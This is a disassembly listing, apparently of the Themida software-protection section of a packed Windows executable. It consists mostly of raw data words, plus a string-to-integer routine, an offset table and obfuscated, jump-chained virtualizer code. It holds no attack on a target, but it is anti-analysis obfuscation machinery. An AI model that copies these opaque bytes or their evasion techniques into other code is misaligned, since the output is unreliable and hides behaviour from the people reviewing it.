dd 16042444h, 40000000h, 0DCD6C350h, 0B98589EFh, 0F093531h
dd 0B8D1B7h, 8A000000h, 0FC00BD1h, 6084h, 4D958B00h, 83093530h
dd 840F01F8h, 0FFFFFF5Ch, 0ED58D29h, 0F8830935h, 0D6840F03h
dd 89FFFFFEh, 350579B5h, 719D3309h, 2B09350Dh, 8DF08AC0h
dd 5B7974BDh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1A04h, 0C3514100h, 0A7F4DD17h, 2927C866h, 3504A585h
dd 8AE7FF09h, 0F4BD8DD0h, 6A093543h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0BA80C351h
dd 0CFBB5B6Ah, 0BA669907h, 67E94804h, 6A000001h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
dd 0B3EBC356h, 0CEF88C28h, 29F96053h, 3523059Dh, 0DDBA6109h
dd 835F6899h, 850F03F8h, 3Bh, 21B5958Bh, 0BD8D0935h, 9354588h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 7DC35646h
dd 0F99C8168h, 35B2DF8Bh, 0F9E9h, 0BD9D2B00h, 8309351Ah
dd 850F05F8h, 1Bh, 8E9h, 0BF274A00h, 47190CC9h, 19953158h
dd 0E909352Fh, 891h, 83D38B66h, 850F06F8h, 39h, 8DDABF0Fh
dd 354780BDh, 918D8909h, 0E9093511h, 0B2h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 18C35545h, 28C0F02h
dd 0B7000000h, 7F883D2h, 47850Fh, 0FF80000h, 683h, 7D958B00h
dd 8D093502h, 351F9DBDh, 0E9D38A09h, 0F5h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 2AC35242h, 0F7279297h
dd 66FC68E2h, 31CCF6BBh, 352795B5h, 0AF88309h, 34850Fh
dd 81660000h, 8D007ACAh, 354978BDh, 8D0F09h, 66000000h
dd 1BE9D88Bh, 0E8000000h, 13h, 81DFDB8Fh, 0AA412929h, 0CDA16FA8h
dd 0C5AD80E8h, 0B7BFD479h, 89575AA9h, 35057585h, 4515B909h
dd 50BA4363h, 895C945Ch, 3500C195h, 3F8309h, 62840Fh, 958B0000h
dd 9352345h, 6A0F30h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 150424h, 57470000h, 8BBB9CC3h, 35220195h, 23C9D109h
dd 352CD59Dh, 6A4709h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 150424h, 50400000h, 8BE489C3h, 3502659Dh, 0FF9BE909h
dd 0CA81FFFFh, 660E8B7Eh, 31DB65Fh, 351D0195h, 74BD8909h
dd 2909354Bh, 35283D95h, 118D8D09h, 6609351Eh, 0FFBBB3BBh
dd 351AC9B5h, 50006A09h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1804h, 0C3504000h, 12C07615h, 3D9D8B3Bh, 0F093524h
dd 1380h, 0EE900h, 3A8E0000h, 0A2770E3Ah, 8EA13EC1h, 3604A62h
dd 0A719858Dh, 8D500937h, 355264BDh, 408D8D09h, 0B809356Dh
dd 54831ABCh, 730CF2Bh, 4947C8D0h, 0B58DF875h, 9356CC2h
dd 6D588D8Dh, 0CF2B0935h, 0C933A4F3h, 0B8h, 74C00B00h
dd 31BD8346h, 93503h, 95FF0674h, 9350F3Dh, 4B74B58Bh, 858D0935h
dd 937A719h, 858DD0FFh
dword_545350 dd 9354191h, 85C7D0FFh, 9350315h, 1, 2689A58Bh, 0B58B0935h
; DATA XREF: ___:off_43D364o
dd 9351049h, 0AF9AD8Bh, 0C0330935h, 0BA000CC2h, 0F89524Eh
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 2EC35747h
dd 9642C765h, 83F1DDC2h, 350021BDh, 840F0009h, 2Fh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 7CC35747h, 0D18589BBh
dd 0FF093523h, 350C3995h, 4D9D8909h, 8309351Bh, 3515F9BDh
dd 850F0009h, 264h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 15h, 93C35545h, 0DA8B6610h, 1C19BD83h, 0F010935h
dd 23785h, 83D38A00h, 3516B1BDh, 840F0009h, 228h, 0B3FBB66h
dd 4BC7BD83h, 0F000935h, 21784h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1C04h, 0C3504000h, 9082A072h
dd 0B1B8765Dh, 0B985017Eh, 8D09352Bh, 37A71985h, 0D8B70F09h
dd 4B74B58Bh, 6A0935h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1D0424h, 52420000h, 2503FAC3h, 0ACFDF871h, 66FD4533h
dd 0D0FFD88Bh, 9E9h, 0DF648D00h, 0F942D090h, 85C62C04h
dd 935179Dh, 50006A54h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1A04h, 0C3504000h, 918FCA5h, 297A083Dh, 352FBD85h, 4E809h
dd 0BEF40000h, 0BA66FF4Eh, 8A50E9F1h, 24448BF1h, 0DF8B6604h
dd 8B66008Bh, 244489D8h, 0DE904h, 1F9A0000h, 0F68A2B00h
dd 0FC06CC5Dh, 58E9C0F3h, 789B589h, 0B5FF0935h, 9350EC9h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0BC35040h
dd 578E3C2Dh, 443E9A71h, 6880F82h, 89000000h, 35288995h
dd 98858D09h, 6A093538h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1B042444h, 43000000h, 2BF4C353h, 9B0ED60Eh
dd 0D0FF1D64h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ch, 93C35141h, 0BFD99B29h, 31ED8C8Bh, 481958Bh, 6A0935h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 97C35040h
dd 786617E5h, 5655EC26h, 0C15950Bh, 6A5A0935h, 0DE9FFh
dd 81790000h, 33B47A03h, 60C3A14Dh, 0FF2EB7C2h, 609DB7D0h
dd 850F60h, 61000000h, 9E8h, 65CD4C00h, 0A41DE1E4h, 615ED2C6h
dd 6C5B5FFh, 6A0935h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 190424h, 57470000h, 413F4DC3h, 0FFEB9060h, 351AC995h
dd 55006A09h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h
dd 0C3554500h, 6E921h, 0E3BF0000h, 0B56DAB73h, 4B74B58Bh
dd 958B0935h, 9352431h, 0B50360C3h, 9353329h, 151BDB81h
dd 8B6104B0h, 3526ADB5h, 52006A09h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1C04h, 0C3524200h, 339D7F8Ah, 0C11113C4h
dd 0E7D78093h, 840FF60Bh, 3Dh, 0DE9h, 39227C00h, 5ABF2252h
dd 86F39A24h, 6C602DFh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1D04h, 0C3574700h, 0B8D52C60h, 0FFB48686h
dd 0BF0F9B54h, 7C8589DAh, 109354Bh, 352EB595h, 0F88309h
dd 39D840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1C0424h, 56460000h, 0F267A8C3h, 869B6072h, 850F12B7h
dd 6, 7E19D8Bh, 0B80935h, 66000000h, 830F69BAh, 840F00F8h
dd 129h, 0E8CA8166h, 2F8831Dh, 0C1850Fh, 6A0000h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
dd 43C30AC3h, 0F2C4C95h, 68Ch, 259D8900h, 8B093506h, 35100D95h
dd 0F7858D09h, 81093541h, 0F8BD32E2h, 9292D7Bh, 6A0000h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
dd 9B1498C3h, 759D8B1Ah, 90093500h, 5E8h, 31D20000h, 0DF8BDDA7h
dd 6652505Bh, 5B4A1EBAh, 0BE890h, 7D4B0000h, 0B8E0707Bh
dd 0D1C04B6Bh, 0EB81662Bh, 0C35BF6DDh, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 16h, 2DC35141h, 0F5154D7h, 58Ah
dd 0EB05BB00h, 0B85B101Ch, 0
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 38C35545h
dd 266E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1A04h, 0C3554500h, 2A690892h, 0E9306F31h, 0Ah, 24650D3Eh
dd 0AE4850DFh, 0F280DFD7h, 1B80Dh, 6A0000h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0C8081C3h
dd 9ABC4EBAh, 0A19D036Dh, 8D09352Ah, 3541FCBDh, 6D952909h
dd 0E909352Eh, 0F1h, 59FCCA81h, 0F8834D61h, 36850F02h
dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 18042444h, 45000000h, 1B80C355h, 0B2836BB0h, 0F4BD8DE4h
dd 8B093543h, 351C599Dh, 0AFE909h, 0D6800000h, 3F88341h
dd 89850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 160424h, 50400000h, 9B6AC3h, 0E42EBB66h, 8DD18B66h
dd 354588BDh, 52006A09h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1C04h, 0C3524200h, 0F7A88248h, 311894DDh, 38EEBA6Dh
dd 4AE9503Bh, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 15042444h, 45000000h, 4AD7C355h, 6E8h, 0ACE29300h
dd 0FCCD1C2Eh, 0B185095Ah, 83093529h, 850F05F8h, 11h, 17C59503h
dd 4AE90935h, 8B000000h, 352AC99Dh, 89525709h, 352B658Dh
dd 15B95A09h, 29436345h, 3500199Dh, 3F8309h, 27840Fh, 0E2810000h
dd 347FC94Ah, 9D8B0F30h, 93526D1h, 9533C9D1h, 935302Dh
dd 25958B47h, 8A093511h, 0FFD3E9DAh, 0B70FFFFFh, 5F883D6h
dd 0B5850Fh, 66F90000h, 0A5BAD98Ch, 8B688F63h, 35267595h
dd 4C1F609h, 41850Fh, 0D2800000h, 0B8BCh, 6A0000h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
dd 0DDDC2CC3h, 1138083Bh, 23351DF8h, 3512299Dh, 0C9958B09h
dd 0E9093505h, 5Fh, 8BD38B66h, 35109585h, 55006A09h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
dd 17526C7Fh, 9DC7B63Dh, 4860Fh, 0BA660000h, 0E0FFFF09h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0E3C35646h
dd 57F52DDEh, 1B619589h, 835B0935h, 351AC9BDh, 850F0009h
dd 0D9h, 123D9D09h, 50900935h, 0D88B6653h, 9D8B905Ah, 9350119h
dd 179D85C6h, 0B2450935h, 4E8C5h, 69690000h, 12E98E72h
dd 74000000h, 547E02C4h, 371B55C8h, 0C470DC0h, 8BC87A5Fh
dd 8B605037h, 9C2EBBD6h, 8B6173BFh, 66042444h, 8BDE8Bh
dd 4244489h, 0FE9h, 4687E800h, 2CDC8D5Ch, 0C83AA411h, 562B9CCBh
dd 9E958h, 16A60000h, 0E15B28F8h, 0FF3A2FEAh, 350EC9B5h
dd 28F0F09h, 8B000000h, 98858DDFh, 6A093538h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
dd 25F7C353h, 8B98F7FDh, 3530A99Dh, 6880F09h, 89000000h
dd 3503F1B5h, 0BBD0FF09h, 78301DB1h, 1AC98589h, 8D010935h
dd 9353161h, 8BD38A58h, 3502E99Dh, 0CBBD8309h, 9354Bh
dd 7F840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 150424h, 56460000h, 0BB245BC3h, 2E683CA8h, 0B15BD89h
dd 0B5FF0935h, 93506C5h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 15h, 0F7C35646h, 759D29A8h, 0FF09350Eh, 351AC995h
dd 53006A09h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h
dd 0C3534300h, 4D958B56h, 8109352Eh, 1515BADBh, 0F8836Fh
dd 0E9850Fh, 11E90000h, 3C000000h, 2F86C39Fh, 0EFEB36E6h
dd 5E8023BBh, 4709E2DEh, 251958Bh, 0BD830935h, 9350D55h
dd 4F840F00h, 0E9000000h, 8, 0E2EDAF7Ch, 0B7B45EB6h, 0D55B5FFh
dd 0DA800935h, 1B80Ch, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 150424h, 51410000h, 80B54DC3h, 8166D4C2h
dd 0E95095DBh, 1F7h, 0A83ABB66h, 3719D03h, 0B5FF0935h
dd 93506C5h, 0B5FF69B3h, 93506C5h, 0FE8h, 0F8E0B000h, 50905FC2h
dd 2085FD13h, 0C8B8270Dh, 2FC59D23h, 895B0935h, 35008DB5h
dd 0C9B5FF09h, 0F09351Ah, 0B0E9D1B7h, 51000001h, 10E8h
dd 1BC75400h, 0AF10CD59h, 3D1BABB1h, 48E8C592h, 5B5BF8D6h
dd 0FE8h, 0FBA44000h, 71E3C52Fh, 88687EAEh, 0BB9BA3CEh
dd 351B531h, 5F5A0935h, 976BBB66h, 25A1BD83h, 0F000935h
dd 0A185h, 0ED958B00h, 0C6093504h, 35179D85h, 0BA664D09h
dd 4E8EDABh, 0A8000000h, 57A43576h, 505B9BB2h, 0AE8h, 4A3E2800h
dd 605CAB74h, 0F1CF025h, 584h, 0F58DBB00h, 8B5B5306h, 0BA042444h
dd 3F88EC8h, 0EBB7008Bh, 4244489h, 0E858D08Bh, 10h, 0B96020C2h
dd 0D32E0DB1h, 43D60DE9h, 291F79FEh, 5BDCCE80h, 57DB5FFh
dd 0BA660935h, 858DC44Ah, 9353898h, 11E8h, 0A1672D00h
dd 0D0210A55h, 1974F04Dh, 9FEBC69Fh, 0FF5B6BF8h, 0E38166D0h
dd 8589FEF1h, 93525A1h, 6358D31h, 0B80935h, 0E9000000h
dd 13h, 8B5E776Ah, 49BB4DFDh, 0A74D1187h, 0B9430729h, 89AAA102h
dd 354B74BDh, 56006A09h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1904h, 0C3564600h, 0DC79FDDFh, 0B5890058h, 9350385h
dd 840FC00Bh, 1Bh, 0BE9h, 0B904000h, 0C7CE248Eh, 0A3F34D25h
dd 62E9h, 0F19D8B00h, 0FF093525h, 351AC9B5h, 0BD8B6009h
dd 9351D71h, 1D3D9D8Bh, 66610935h, 858DD98Bh, 937A719h
dd 22BAD08Bh, 500B5C4Ah, 0AE8h, 6E5B0F00h, 2BE079A9h, 5AFAAB2Ah
dd 6A240489h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 18042444h, 41000000h, 0DAB0C351h, 663DAE4Eh, 50C242BBh
dd 64BD8D56h, 8D093552h, 3578B28Dh, 23BCB809h, 0CF2B7483h
dd 0C8D00730h, 0F8754947h, 0BD83585Eh, 9350D55h, 8B067400h
dd 350BDD8Dh, 0B8C93309h, 0
dd 840FC00Bh, 99h, 331BD83h, 74000935h, 3D95FF06h, 0B809350Fh
dd 0
dd 975C00Bh, 4B7CBD83h, 74010935h, 7CBD8309h, 209354Bh
dd 0B58B0E75h, 9354B74h, 0A719858Dh, 0D0FF0937h, 4191858Dh
dd 0D0FF0935h, 1F91BD83h, 75020935h, 89A58B2Fh, 8B093526h
dd 350D5585h, 24048909h, 31585C7h, 10935h, 0B58B0000h
dd 9354B78h, 0AF9AD8Bh, 1B80935h, 0C2000000h, 0EB000Ch
dd 31585C7h, 10935h, 0A58B0000h, 9352689h, 1049B58Bh, 0AD8B0935h
dd 9350AF9h, 0CC2C033h, 21BD8300h, 93500h, 0BD830F74h
dd 9350C39h, 0FF067400h, 350C3995h, 74B58B09h, 0C309354Bh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0F5C35343h
dd 11584358h, 0BAFDD680h, 0
dd 21D58D01h
db 35h, 9
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push edi
push edx
push esi
mov edi, [ebp+8]
xor eax, eax
jmp short loc_545F9E
; ---------------------------------------------------------------------------
loc_545F9C: ; CODE XREF: Themida_:00545FA1j
inc eax
inc edi
loc_545F9E: ; CODE XREF: Themida_:00545F9Aj
cmp byte ptr [edi], 0
jnz short loc_545F9C
xor ecx, ecx
mov edi, [ebp+8]
jmp short loc_545FCD
; ---------------------------------------------------------------------------
loc_545FAA: ; CODE XREF: Themida_:00545FCFj
xor edx, edx
mov dl, [edi]
sub dl, 30h
mov esi, eax
dec esi
push eax
mov eax, edx
push ebx
mov ebx, 0Ah
jmp short loc_545FC2
; ---------------------------------------------------------------------------
loc_545FBF: ; CODE XREF: Themida_:00545FC5j
mul ebx
dec esi
loc_545FC2: ; CODE XREF: Themida_:00545FBDj
cmp esi, 0
ja short loc_545FBF
pop ebx
add ecx, eax
pop eax
inc edi
dec eax
loc_545FCD: ; CODE XREF: Themida_:00545FA8j
or eax, eax
jnz short loc_545FAA
mov eax, ecx
pop esi
pop edx
pop edi
pop ecx
leave
retn 4
; ---------------------------------------------------------------------------
db 56h
dd 6A5B06B7h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 19042444h, 41000000h, 5568C351h, 9761C03Bh, 1291B501h
dd 0C18B0935h, 1ADE9h, 748B6000h, 7C8B2424h, 0B2FC2824h
dd 46068A80h, 0BB470788h, 2, 850FD202h, 5, 1246168Ah, 0E2830FD2h
dd 2FFFFFFh, 5850FD2h, 8A000000h, 0D2124616h, 6A830Fh
dd 0C0330000h, 850FD202h, 5, 1246168Ah, 2A830FD2h, 2000001h
dd 5850FD2h, 8A000000h, 0D2124616h, 0D202C013h, 5850Fh
dd 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h, 0C013D212h
dd 850FD202h, 5, 1246168Ah, 0FC013D2h, 684h, 0F82B5700h
dd 885F078Ah, 2BB4707h, 0E9000000h, 0FFFFFF70h, 1B8h, 0FD20200h
dd 585h, 46168A00h, 0C013D212h, 850FD202h, 5, 1246168Ah
dd 0DE820FD2h, 2BFFFFFFh, 1BBC3h, 850F0000h, 34h, 1B9h
dd 0FD20200h, 585h, 46168A00h, 0C913D212h, 850FD202h, 5
dd 1246168Ah, 0DE820FD2h, 56FFFFFFh, 0F52BF78Bh, 0E95EA4F3h
dd 0FFFFFF08h, 8E0C148h, 8B46068Ah, 1B9E8h, 0D2020000h
dd 5850Fh, 168A0000h, 13D21246h, 0FD202C9h, 585h, 46168A00h
dd 820FD212h, 0FFFFFFDEh, 7D003Dh, 22830F00h, 3D000000h
dd 500h, 0E820Fh, 56410000h, 0F02BF78Bh, 0E95EA4F3h, 0FFFFFEB4h
dd 0F7FF883h, 387h, 2C18300h, 2BF78B56h, 5EA4F3F0h, 0FFFE9BE9h
dd 46068AFFh, 0E8C0C933h, 17840F01h, 83000000h, 0E88B02D1h
dd 2BF78B56h, 5EA4F3F0h, 1BBh, 0FE76E900h, 7C2BFFFFh, 7C892824h
dd 0C2611C24h, 29BA0008h, 0E9000009h, 22118h, 2730028h
dd 12FF68h, 5B0412h, 2 dup(5B0904h), 0
dd 273003Fh, 246h, 2, 1, 3, 0F71EE5CEh, 5 dup(0)
dd offset word_54F18E
dd offset byte_54ED2D
dd offset word_548522
dd offset byte_5511AD
dd offset dword_549D54
dd offset dword_546F34
dd offset byte_54BD2B
dd offset dword_54D764
dd offset byte_54838F
dd offset byte_54E007
dd offset byte_54AFBB
dd offset word_54A0F6
dd offset word_54874A
dd offset word_550B5A
dd offset byte_550A07
dd offset byte_55150B
dd offset byte_54749F
dd offset word_54F092
dd offset aMssj8 ; "╛SИJ8"
dd offset word_54E0A2
dd offset word_551132
dd offset dword_547C1C
dd offset byte_54B8D5
dd offset byte_547D39
dd offset dword_552038
dd offset word_54C6F2
dd offset dword_54F4B8
dd offset word_54B762
dd offset byte_548907
dd offset dword_548DB0
dd offset dword_548F30
dd offset word_54D20A
dd offset dword_546790
dd offset word_54CC96
dd offset byte_54987B
dd offset word_54A2F6
dd offset byte_54A5B1
dd offset dword_54D854
dd offset dword_5510EC
dd offset byte_548B77
dd offset dword_54AAF8
dd offset dword_54B978
dd offset dword_547DC4
dd offset word_54E10E
dd offset dword_54E2E4
dd offset dword_551530
dd offset word_54689E
dd offset dword_549AB8
dd offset word_54AE86
dd offset byte_551267
dd offset byte_548BFD
dd offset word_547146
dd offset aHr ; "hЮ~"
dd offset dword_54E9DC
dd offset dword_54D54C
dd offset word_54D846
dd offset aM0Fsski ; "╛0ьfSИkI"
dd offset dword_55262C
dd offset byte_546C73
dd offset word_55075A
dd offset byte_5508A5
dd offset byte_5476C9
dd offset byte_5509D5
dd offset word_54C862
dd offset byte_54CA0D
dd offset byte_551615
dd offset byte_5497FF
dd offset byte_5523DF
dd offset byte_5501B5
dd offset word_5499CA
dd offset word_54A586
dd offset byte_54F837
dd offset word_54E316
dd offset word_54E2FE
dd offset byte_549D6B
dd offset word_55145A
dd offset word_5467EA
dd offset byte_548955
dd offset word_54F11E
dd offset byte_54D2F3
dd offset word_54EEAA
dd offset dword_54AB14
dd offset byte_54CB99
dd offset dword_54B17C
dd offset byte_54910F
dd offset byte_5504B7
dd offset dword_549588
dd offset word_5503FE
dd offset byte_5472B3
dd offset byte_548995
dd offset dword_5489C0
dd offset word_54D2DE
dd offset dword_54ACEC
dd offset dword_54EAF4
dd offset dword_551AC4
dd offset dword_54B8AC
dd offset word_54C78A
dd offset dword_54EED0
dd offset dword_5487B8
dd offset aNrss ; "╜RИХ\v"
dd offset aM0FrSsw6 ; "╛0ьfR╤≤ИW6"
dd offset aNvsR ; "╜VИ\\R"
dd offset byte_549255
dd offset dword_54F770
dd offset byte_54FD1D
dd offset byte_547A7B
dd offset byte_548801
dd offset aUh9g ; "Uh9G"
dd offset dword_550C08
dd offset byte_54DC1B
dd offset byte_5482D1
dd offset dword_5500BC
dd offset word_54CF16
dd offset byte_54BE85
dd offset byte_547131
dd offset dword_5478B0
dd offset word_549942
dd offset dword_549B4C
dd offset byte_54D403
dd offset byte_547905
dd offset dword_54DAD0
dd offset byte_54FE45
dd offset byte_551051
dd offset dword_54B094
dd offset byte_54BD55
dd offset byte_54A4D1
dd offset dword_54EF54
dd offset aMs ; "╛И~,"
dd offset byte_54879D
dd offset word_54FF56
dd offset byte_549EA9
dd offset dword_549788
dd offset word_54F0F2
dd offset dword_548FFC
dd offset byte_54AE29
dd offset aMhtl ; "╛h▓L"
dd offset word_54C2E2
dd offset dword_550438
dd offset dword_551860
dd offset word_548F92
dd offset byte_550545
dd offset dword_550B7C
dd offset dword_546618
dd offset byte_546CBD
dd offset byte_551333
dd offset dword_54C94C
dd offset dword_550E34
dd offset word_54CA92
dd offset aN1Sscr ; "╜1ьSИ√R"
dd offset dword_552194
dd offset byte_546EF5
dd offset byte_54DB31
dd offset byte_54DD77
dd offset byte_54821F
dd offset byte_54BDC1
dd offset byte_5513C7
dd offset dword_5471D8
dd offset aNvqwhECsJ ; "╜VQWhЛe╤cИ\aj"
dd offset byte_54CCA9
dd offset dword_550290
dd offset dword_547708
dd offset word_551F32
dd offset aM0Rhag ; "╛0ьRh²G"
dd offset byte_54EA0F
dd offset word_5498EA
dd offset aMqspq ; "╛QИpq"
dd offset word_55179E
; ---------------------------------------------------------------------------
loc_5464A4: ; CODE XREF: Themida_:00595E41j
; Themida_:005A05E1j ...
pusha
pushf
cld
call $+5
pop edi
sub edi, 9357EDEh
mov eax, edi
add edi, 9357BF6h
cmp eax, [edi+2Ch]
jnz short loc_5464C2
jmp short loc_5464D5
; ---------------------------------------------------------------------------
loc_5464C2: ; CODE XREF: Themida_:005464BEj
mov [edi+2Ch], eax
mov ecx, 0A7h
jmp short loc_5464D1
; ---------------------------------------------------------------------------
loc_5464CC: ; CODE XREF: Themida_:005464D3j
add [edi+ecx*4+40h], eax
dec ecx
loc_5464D1: ; CODE XREF: Themida_:005464CAj
or ecx, ecx
jnz short loc_5464CC
loc_5464D5: ; CODE XREF: Themida_:005464C0j
mov esi, [esp+24h]
mov ebx, esi
add esi, eax
mov ecx, 1
loc_5464E2: ; CODE XREF: Themida_:005464E9j
xor eax, eax
lock cmpxchg [edi+30h], ecx
jnz short loc_5464E2
loc_5464EB: ; CODE XREF: Themida_:loc_546763j
; Themida_:00546AE6j ...
lodsb
jmp loc_5487A6
; ---------------------------------------------------------------------------
loc_5464F1: ; CODE XREF: Themida_:00548D89j
push 15E6h
mov [esp], ebx
mov bh, 0BAh
neg bh
inc bh
neg bh
and bh, 0FBh
sub bh, 81h
add bh, 57h
add al, bh
mov ebx, [esp]
add esp, 4
sub al, 0CAh
sub al, bl
add al, 0CAh
push ecx
mov ch, 32h
shl ch, 6
jmp loc_551207
; ---------------------------------------------------------------------------
dw 8956h
dd 4C681E6h, 57000000h, 4BFh, 8BFE0100h, 6EE9243Ch, 8900004Ch
dd 0D0882404h, 88C18851h, 8734E9CFh, 0E9590000h, 63A5h
dd 0A4A7E95Bh, 0EA880000h, 595AD388h, 0E943C380h, 2663h
dd 4EC81h, 4890000h, 4B824h, 0ED810000h, 46343034h, 9BE9C501h
dd 490000AEh, 0BB73BD55h, 0E93149CFh, 983FE95Dh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_546592: ; CODE XREF: Themida_:0055152Bj
inc edx
jmp loc_549D0B
; ---------------------------------------------------------------------------
dd 4C48358h, 0BE01E9h
db 0
; ---------------------------------------------------------------------------
loc_5465A1: ; CODE XREF: Themida_:005508A0j
or esi, 5AC73546h
add esi, 0EE3506B6h
sub ebx, esi
pop esi
neg ebx
jmp loc_54860F
; ---------------------------------------------------------------------------
aTsio db '(БИ╘╝',0
align 2
dw 0C681h
dd 1, 51C0EE81h, 8156EC40h, 5CA32434h, 8CE95D06h
db 2, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5465D7: ; CODE XREF: Themida_:00548AE1j
inc edi
xor edi, 59901F2Dh
jmp loc_5468AE
; ---------------------------------------------------------------------------
db 66h
dd 66242C87h, 83243C8Bh, 316602C4h, 0E2E9243Ch, 0F700007Eh
dd 0C4C781DFh, 16D3E59h, 0C5835FFDh, 242C3304h, 0C0B0E9h
dd 0F1315900h, 0E9D9F75Eh, 9842h
dword_546618 dd 0B60F6664h, 62686602h, 489661Bh, 0FEC1E924h
; DATA XREF: Themida_:00546440o
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54662A: ; CODE XREF: Themida_:00549FD2j
pop esp
mov [esp], ecx
mov ecx, 4D15ECDh
shl ecx, 2
sub ecx, 3A803FABh
push ecx
not dword ptr [esp]
jmp loc_54E849
; ---------------------------------------------------------------------------
loc_546645: ; CODE XREF: Themida_:0054FA03j
add ebx, 224C0087h
pop edx
or edi, ebx
pop ebx
jmp loc_54D221
; ---------------------------------------------------------------------------
loc_546654: ; CODE XREF: Themida_:00546779j
push dword ptr [esp+4]
mov esi, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
or edx, eax
shl edx, 1
push dword ptr [edi+24h]
jmp loc_551EA2
; ---------------------------------------------------------------------------
dw 665Ch
dd 3CFDE950h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_546676: ; CODE XREF: Themida_:0055123Fj
mov cl, 56h
neg cl
sub cl, 88h
sub cl, 98h
not cl
neg cl
add cl, 0FAh
mov dh, cl
pop ecx
push eax
mov al, 82h
neg al
not al
jmp loc_54989E
; ---------------------------------------------------------------------------
loc_546696: ; CODE XREF: Themida_:005487AAj
add al, bl
add al, 3Ch
push bx
jmp loc_548D87
; ---------------------------------------------------------------------------
loc_5466A1: ; CODE XREF: Themida_:00551EA8j
push 41D0h
mov [esp], eax
jmp loc_547E12
; ---------------------------------------------------------------------------
loc_5466AE: ; CODE XREF: Themida_:0054C61Dj
add ecx, eax
jmp loc_5476D6
; ---------------------------------------------------------------------------
db 0BEh, 0C9h, 29h
dd 0F0311863h, 26E42D5Eh, 12D38AFh, 52000000h, 0BB5670BAh
dd 3AF28163h, 0E9355C7Dh, 0EB6h, 57240C8Bh, 0B850E789h
dd 65552183h, 28B8BF57h, 0F8016761h, 701BE9h, 7E8C100h
dd 2D05E8C1h, 7B5FBFD3h, 0CAE9C629h, 89000083h, 242C8BE8h
dd 104C483h, 24048BC6h, 6804C483h, 2D9h, 77ABE9h
db 0
; ---------------------------------------------------------------------------
loc_54671D: ; CODE XREF: Themida_:0054EEA5j
add eax, edi
add eax, 5D152ACFh
jmp loc_54BB1D
; ---------------------------------------------------------------------------
loc_546729: ; CODE XREF: Themida_:0054D9E3j
push ecx
push 0B4A09F4h
pop ecx
xor edx, ecx
mov ecx, [esp]
add esp, 4
push edx
add dword ptr [esp], 2BFC0A77h
mov ecx, [esp]
add esp, 4
sub ecx, 2BFC0A77h
pop edx
jmp loc_547A43
; ---------------------------------------------------------------------------
loc_546758: ; CODE XREF: Themida_:0054CB6Aj
add esp, 4
shr ebp, 5
jmp loc_54D778
; ---------------------------------------------------------------------------
loc_546763: ; CODE XREF: Themida_:00550AAFj
jmp loc_5464EB
; ---------------------------------------------------------------------------
loc_546768: ; CODE XREF: Themida_:005527E4j
pop esi
add esi, 4
push edx
mov edx, 4
add esi, edx
pop edx
push esi
jmp loc_546654
; ---------------------------------------------------------------------------
dw 34FFh
aSN db '$Ип█',0
align 2
dw 1768h
dd 0E900000Ah, 9B63h
dword_546790 dd 14E953ACh ; DATA XREF: Themida_:00546288o
db 22h, 2 dup(0)
; ---------------------------------------------------------------------------
